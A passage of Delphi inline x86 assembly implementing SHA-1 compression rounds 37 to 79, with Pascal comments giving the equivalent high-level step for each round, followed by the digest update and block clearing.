xor W[4]; // W[4]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[4]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 4] XOR ESI,[EDI + 48] XOR ESI,[EDI + 24] XOR ESI,[EDI + 16] ROL ESI,1 MOV [EDI + 16],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $6ED9EBA1] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {37} // Tmp:= W[2] xor W[13] xor W[7] xor W[5]; // W[5]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[5]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 8] XOR ESI,[EDI + 52] XOR ESI,[EDI + 28] XOR ESI,[EDI + 20] ROL ESI,1 MOV [EDI + 20],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $6ED9EBA1] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {38} // Tmp:= W[3] xor W[14] xor W[8] xor W[6]; // W[6]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[6]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 12] XOR ESI,[EDI + 56] XOR ESI,[EDI + 32] XOR ESI,[EDI + 24] ROL ESI,1 MOV [EDI + 24],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $6ED9EBA1] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {39} // Tmp:= W[4] xor W[15] xor W[9] xor W[7]; // W[7]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[7]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 16] XOR ESI,[EDI + 60] XOR ESI,[EDI + 36] XOR ESI,[EDI + 28] ROL ESI,1 MOV [EDI + 28],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $6ED9EBA1] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {40} // Tmp:= W[5] xor W[0] xor W[10] xor W[8]; // W[8]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[8]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 20] XOR ESI,[EDI] XOR ESI,[EDI + 40] XOR ESI,[EDI + 32] ROL ESI,1 MOV [EDI + 32],ESI ADD EBP,ESI MOV [ESP],EBX MOV ESI,EBX AND [ESP],ECX OR ESI,ECX AND ESI,EDX OR ESI,[ESP] ROL EBX,30 LEA EBP,[EBP + ESI + $8F1BBCDC] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {41} // Tmp:= W[6] xor W[1] xor W[11] xor W[9]; // W[9]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[9]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 24] XOR ESI,[EDI + 4] XOR ESI,[EDI + 44] XOR ESI,[EDI + 36] ROL ESI,1 MOV [EDI + 36],ESI ADD EDX,ESI MOV [ESP],EAX MOV ESI,EAX AND [ESP],EBX OR ESI,EBX AND ESI,ECX OR ESI,[ESP] ROL EAX,30 LEA EDX,[EDX + ESI + $8F1BBCDC] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {42} // Tmp:= W[7] xor W[2] xor W[12] xor W[10]; // W[10]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[10]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 28] XOR ESI,[EDI + 8] XOR ESI,[EDI + 48] XOR ESI,[EDI + 40] ROL ESI,1 MOV [EDI + 40],ESI ADD ECX,ESI MOV [ESP],EBP MOV ESI,EBP AND [ESP],EAX OR ESI,EAX AND ESI,EBX OR ESI,[ESP] ROL EBP,30 LEA ECX,[ECX + ESI + $8F1BBCDC] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {43} // Tmp:= W[8] xor W[3] xor W[13] xor W[11]; // W[11]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[11]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 32] XOR ESI,[EDI + 12] XOR ESI,[EDI + 52] XOR ESI,[EDI + 44] ROL ESI,1 MOV [EDI + 44],ESI ADD EBX,ESI MOV [ESP],EDX MOV ESI,EDX AND [ESP],EBP OR ESI,EBP AND ESI,EAX OR ESI,[ESP] ROL EDX,30 LEA EBX,[EBX + ESI + $8F1BBCDC] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {44} // Tmp:= W[9] xor W[4] xor W[14] xor W[12]; // W[12]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[12]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 36] XOR ESI,[EDI + 16] XOR ESI,[EDI + 56] XOR ESI,[EDI + 48] ROL ESI,1 MOV [EDI + 48],ESI ADD EAX,ESI MOV [ESP],ECX MOV ESI,ECX AND [ESP],EDX OR ESI,EDX AND ESI,EBP OR ESI,[ESP] ROL ECX,30 LEA EAX,[EAX + ESI + $8F1BBCDC] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {45} // Tmp:= W[10] xor W[5] xor W[15] xor W[13]; // W[13]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[13]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 40] XOR ESI,[EDI + 20] XOR ESI,[EDI + 60] XOR ESI,[EDI + 52] ROL ESI,1 MOV [EDI + 52],ESI ADD EBP,ESI MOV [ESP],EBX MOV ESI,EBX AND [ESP],ECX OR ESI,ECX AND ESI,EDX OR ESI,[ESP] ROL EBX,30 LEA EBP,[EBP + ESI + $8F1BBCDC] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {46} // Tmp:= W[11] xor W[6] xor W[0] xor W[14]; // W[14]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[14]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 44] XOR ESI,[EDI + 24] XOR ESI,[EDI] XOR ESI,[EDI + 56] ROL ESI,1 MOV [EDI + 56],ESI ADD EDX,ESI MOV [ESP],EAX MOV ESI,EAX AND [ESP],EBX OR ESI,EBX AND ESI,ECX OR ESI,[ESP] ROL EAX,30 LEA EDX,[EDX + ESI + $8F1BBCDC] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {47} // Tmp:= W[12] xor W[7] xor W[1] xor W[15]; // W[15]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[15]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 48] XOR ESI,[EDI + 28] XOR ESI,[EDI + 4] XOR ESI,[EDI + 60] ROL ESI,1 MOV [EDI + 60],ESI ADD ECX,ESI MOV [ESP],EBP MOV ESI,EBP AND [ESP],EAX OR ESI,EAX AND ESI,EBX OR ESI,[ESP] ROL EBP,30 LEA ECX,[ECX + ESI + $8F1BBCDC] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {48} // Tmp:= W[13] xor W[8] xor W[2] xor W[0]; // W[0]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[0]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 52] XOR ESI,[EDI + 32] XOR ESI,[EDI + 8] XOR ESI,[EDI] ROL ESI,1 MOV [EDI],ESI ADD EBX,ESI MOV [ESP],EDX MOV ESI,EDX AND [ESP],EBP OR ESI,EBP AND ESI,EAX OR ESI,[ESP] ROL EDX,30 LEA EBX,[EBX + ESI + $8F1BBCDC] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {49} // Tmp:= W[14] xor W[9] xor W[3] xor W[1]; // W[1]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[1]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 56] XOR ESI,[EDI + 36] XOR ESI,[EDI + 12] XOR ESI,[EDI + 4] ROL ESI,1 MOV [EDI + 4],ESI ADD EAX,ESI MOV [ESP],ECX MOV ESI,ECX AND [ESP],EDX OR ESI,EDX AND ESI,EBP OR ESI,[ESP] ROL ECX,30 LEA EAX,[EAX + ESI + $8F1BBCDC] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {50} // Tmp:= W[15] xor W[10] xor W[4] xor W[2]; // W[2]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[2]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 60] XOR ESI,[EDI + 40] XOR ESI,[EDI + 16] XOR ESI,[EDI + 8] ROL ESI,1 MOV [EDI + 8],ESI ADD EBP,ESI MOV [ESP],EBX MOV ESI,EBX AND [ESP],ECX OR ESI,ECX AND ESI,EDX OR ESI,[ESP] ROL EBX,30 LEA EBP,[EBP + ESI + $8F1BBCDC] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {51} // Tmp:= W[0] xor W[11] xor W[5] xor W[3]; // W[3]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[3]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI] XOR ESI,[EDI + 44] XOR ESI,[EDI + 20] XOR ESI,[EDI + 12] ROL ESI,1 MOV [EDI + 12],ESI ADD EDX,ESI MOV [ESP],EAX MOV ESI,EAX AND [ESP],EBX OR ESI,EBX AND ESI,ECX OR ESI,[ESP] ROL EAX,30 LEA EDX,[EDX + ESI + $8F1BBCDC] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {52} // Tmp:= W[1] xor W[12] xor W[6] xor W[4]; // W[4]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[4]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 4] XOR ESI,[EDI + 48] XOR ESI,[EDI + 24] XOR ESI,[EDI + 16] ROL ESI,1 MOV [EDI + 16],ESI ADD ECX,ESI MOV [ESP],EBP MOV ESI,EBP AND [ESP],EAX OR ESI,EAX AND ESI,EBX OR ESI,[ESP] ROL EBP,30 LEA ECX,[ECX + ESI + $8F1BBCDC] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {53} // Tmp:= W[2] xor W[13] xor W[7] xor W[5]; // W[5]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[5]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 8] XOR ESI,[EDI + 52] XOR ESI,[EDI + 28] XOR ESI,[EDI + 20] ROL ESI,1 MOV [EDI + 20],ESI ADD EBX,ESI MOV [ESP],EDX MOV ESI,EDX AND [ESP],EBP OR ESI,EBP AND ESI,EAX OR ESI,[ESP] ROL EDX,30 LEA EBX,[EBX + ESI + $8F1BBCDC] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {54} // Tmp:= W[3] xor W[14] xor W[8] xor W[6]; // W[6]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[6]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 12] XOR ESI,[EDI + 56] XOR ESI,[EDI + 32] XOR ESI,[EDI + 24] ROL ESI,1 MOV [EDI + 24],ESI ADD EAX,ESI MOV [ESP],ECX MOV ESI,ECX AND [ESP],EDX OR ESI,EDX AND ESI,EBP OR ESI,[ESP] ROL ECX,30 LEA EAX,[EAX + ESI + $8F1BBCDC] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {55} // Tmp:= W[4] xor W[15] xor W[9] xor W[7]; // W[7]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[7]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 16] XOR ESI,[EDI + 60] XOR ESI,[EDI + 36] XOR ESI,[EDI + 28] ROL ESI,1 MOV [EDI + 28],ESI ADD EBP,ESI MOV [ESP],EBX MOV ESI,EBX AND [ESP],ECX OR ESI,ECX AND ESI,EDX OR ESI,[ESP] ROL EBX,30 LEA EBP,[EBP + ESI + $8F1BBCDC] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {56} // Tmp:= W[5] xor W[0] xor W[10] xor W[8]; // W[8]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[8]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 20] XOR ESI,[EDI] XOR ESI,[EDI + 40] XOR ESI,[EDI + 32] ROL ESI,1 MOV [EDI + 32],ESI ADD EDX,ESI MOV [ESP],EAX MOV ESI,EAX AND [ESP],EBX OR ESI,EBX AND ESI,ECX OR ESI,[ESP] ROL EAX,30 LEA EDX,[EDX + ESI + $8F1BBCDC] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {57} // Tmp:= W[6] xor W[1] xor W[11] xor W[9]; // W[9]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[9]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 24] XOR ESI,[EDI + 4] XOR ESI,[EDI + 44] XOR ESI,[EDI + 36] ROL ESI,1 MOV [EDI + 36],ESI ADD ECX,ESI MOV [ESP],EBP MOV ESI,EBP AND [ESP],EAX OR ESI,EAX AND ESI,EBX OR ESI,[ESP] ROL EBP,30 LEA ECX,[ECX + ESI + $8F1BBCDC] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {58} // Tmp:= W[7] xor W[2] xor W[12] xor W[10]; // W[10]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[10]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 28] XOR ESI,[EDI + 8] XOR ESI,[EDI + 48] XOR ESI,[EDI + 40] ROL ESI,1 MOV [EDI + 40],ESI ADD EBX,ESI MOV [ESP],EDX MOV ESI,EDX AND [ESP],EBP OR ESI,EBP AND ESI,EAX OR ESI,[ESP] ROL EDX,30 LEA EBX,[EBX + ESI + $8F1BBCDC] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {59} // Tmp:= W[8] xor W[3] xor W[13] xor W[11]; // W[11]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[11]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 32] XOR ESI,[EDI + 12] XOR ESI,[EDI + 52] XOR ESI,[EDI + 44] ROL ESI,1 MOV [EDI + 44],ESI ADD EAX,ESI MOV [ESP],ECX MOV ESI,ECX AND [ESP],EDX OR ESI,EDX AND ESI,EBP OR ESI,[ESP] ROL ECX,30 LEA EAX,[EAX + ESI + $8F1BBCDC] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {60} // Tmp:= W[9] xor W[4] xor W[14] xor W[12]; // W[12]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[12]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 36] XOR ESI,[EDI + 16] XOR ESI,[EDI + 56] XOR ESI,[EDI + 48] ROL ESI,1 MOV [EDI + 48],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $CA62C1D6] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {61} // Tmp:= W[10] xor W[5] xor W[15] xor W[13]; // W[13]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[13]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 40] XOR ESI,[EDI + 20] XOR ESI,[EDI + 60] XOR ESI,[EDI + 52] ROL ESI,1 MOV [EDI + 52],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $CA62C1D6] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {62} // Tmp:= W[11] xor W[6] xor W[0] xor W[14]; // W[14]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[14]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 44] XOR ESI,[EDI + 24] XOR ESI,[EDI] XOR ESI,[EDI + 56] ROL ESI,1 MOV [EDI + 56],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $CA62C1D6] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {63} // Tmp:= W[12] xor W[7] xor W[1] xor W[15]; // W[15]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[15]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 48] XOR ESI,[EDI + 28] XOR ESI,[EDI + 4] XOR ESI,[EDI + 60] ROL ESI,1 MOV [EDI + 60],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $CA62C1D6] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {64} // Tmp:= W[13] xor W[8] xor W[2] xor W[0]; // W[0]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[0]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 52] XOR ESI,[EDI + 32] XOR ESI,[EDI + 8] XOR ESI,[EDI] ROL ESI,1 MOV [EDI],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $CA62C1D6] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {65} // Tmp:= W[14] xor W[9] xor W[3] xor W[1]; // W[1]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[1]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 56] XOR ESI,[EDI + 36] XOR ESI,[EDI + 12] XOR ESI,[EDI + 4] ROL ESI,1 MOV [EDI + 4],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $CA62C1D6] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {66} // Tmp:= W[15] xor W[10] xor W[4] xor W[2]; // W[2]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[2]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 60] XOR ESI,[EDI + 40] XOR ESI,[EDI + 16] XOR ESI,[EDI + 8] ROL ESI,1 MOV [EDI + 8],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $CA62C1D6] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {67} // Tmp:= W[0] xor W[11] xor W[5] xor W[3]; // W[3]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[3]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI] XOR ESI,[EDI + 44] XOR ESI,[EDI + 20] XOR ESI,[EDI + 12] ROL ESI,1 MOV [EDI + 12],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $CA62C1D6] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {68} // Tmp:= W[1] xor W[12] xor W[6] xor W[4]; // W[4]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[4]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 4] XOR ESI,[EDI + 48] XOR ESI,[EDI + 24] XOR ESI,[EDI + 16] ROL ESI,1 MOV [EDI + 16],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $CA62C1D6] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {69} // Tmp:= W[2] xor W[13] xor W[7] xor W[5]; // W[5]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[5]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 8] XOR ESI,[EDI + 52] XOR ESI,[EDI + 28] XOR ESI,[EDI + 20] ROL ESI,1 MOV [EDI + 20],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $CA62C1D6] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {70} // Tmp:= W[3] xor W[14] xor W[8] xor W[6]; // W[6]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[6]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 12] XOR ESI,[EDI + 56] XOR ESI,[EDI + 32] XOR ESI,[EDI + 24] ROL ESI,1 MOV [EDI + 24],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $CA62C1D6] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {71} // Tmp:= W[4] xor W[15] xor W[9] xor W[7]; // W[7]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[7]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 16] XOR ESI,[EDI + 60] XOR ESI,[EDI + 36] XOR ESI,[EDI + 28] ROL ESI,1 MOV [EDI + 28],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $CA62C1D6] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {72} // Tmp:= W[5] xor W[0] xor W[10] xor W[8]; // W[8]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[8]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 20] XOR ESI,[EDI] XOR ESI,[EDI + 40] XOR ESI,[EDI + 32] ROL ESI,1 MOV [EDI + 32],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $CA62C1D6] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {73} // Tmp:= W[6] xor W[1] xor W[11] xor W[9]; // W[9]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[9]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 24] XOR ESI,[EDI + 4] XOR ESI,[EDI + 44] XOR ESI,[EDI + 36] ROL ESI,1 MOV [EDI + 36],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $CA62C1D6] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {74} // Tmp:= W[7] xor W[2] xor W[12] xor W[10]; // W[10]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[10]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 28] XOR ESI,[EDI + 8] XOR ESI,[EDI + 48] XOR ESI,[EDI + 40] ROL ESI,1 MOV [EDI + 40],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $CA62C1D6] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {75} // Tmp:= W[8] xor W[3] xor W[13] xor W[11]; // W[11]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[11]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 32] XOR ESI,[EDI + 12] XOR ESI,[EDI + 52] XOR ESI,[EDI + 44] ROL ESI,1 MOV [EDI + 44],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $CA62C1D6] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {76} // Tmp:= W[9] xor W[4] xor W[14] xor W[12]; // W[12]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[12]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 36] XOR ESI,[EDI + 16] XOR ESI,[EDI + 56] XOR ESI,[EDI + 48] ROL ESI,1 MOV [EDI + 48],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $CA62C1D6] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {77} // Tmp:= W[10] xor W[5] xor W[15] xor W[13]; // W[13]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[13]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 40] XOR ESI,[EDI + 20] XOR ESI,[EDI + 60] XOR ESI,[EDI + 52] ROL ESI,1 // MOV [EDI + 52],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $CA62C1D6] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {78} // Tmp:= W[11] xor W[6] xor W[0] xor W[14]; // W[14]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[14]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 44] XOR ESI,[EDI + 24] XOR ESI,[EDI] XOR ESI,[EDI + 56] ROL ESI,1 // MOV [EDI + 56],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $CA62C1D6] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {79} // Tmp:= W[12] xor W[7] xor W[1] xor W[15]; // W[15]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[15]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 48] XOR ESI,[EDI + 28] XOR ESI,[EDI + 4] XOR ESI,[EDI + 60] ROL ESI,1 // MOV [EDI + 60],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $CA62C1D6] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI ADD [EDI - 20],EAX // Inc(FData.Digest[0], A); ADD [EDI - 16],EBX // Inc(FData.Digest[1], B); ADD [EDI - 12],ECX // Inc(FData.Digest[2], C); ADD [EDI - 8],EDX // Inc(FData.Digest[3], D); ADD [EDI - 4],EBP // Inc(FData.Digest[4], E); // FillChar(Block, SizeOf(Block), 0); XOR EAX,EAX // MOV [ESP],EAX MOV [EDI],EAX MOV [EDI + 4],EAX MOV [EDI + 8],EAX MOV [EDI + 12],EAX MOV [EDI + 16],EAX MOV [EDI + 20],EAX MOV [EDI + 24],EAX MOV [EDI + 28],EAX MOV [EDI + 32],EAX MOV [EDI + 36],EAX MOV [EDI + 40],EAX MOV [EDI + 44],EAX MOV [EDI + 48],EAX MOV [EDI + 52],EAX MOV [EDI + 56],EAX MOV [EDI + 60],EAX POP EAX POP EBP POP EBX 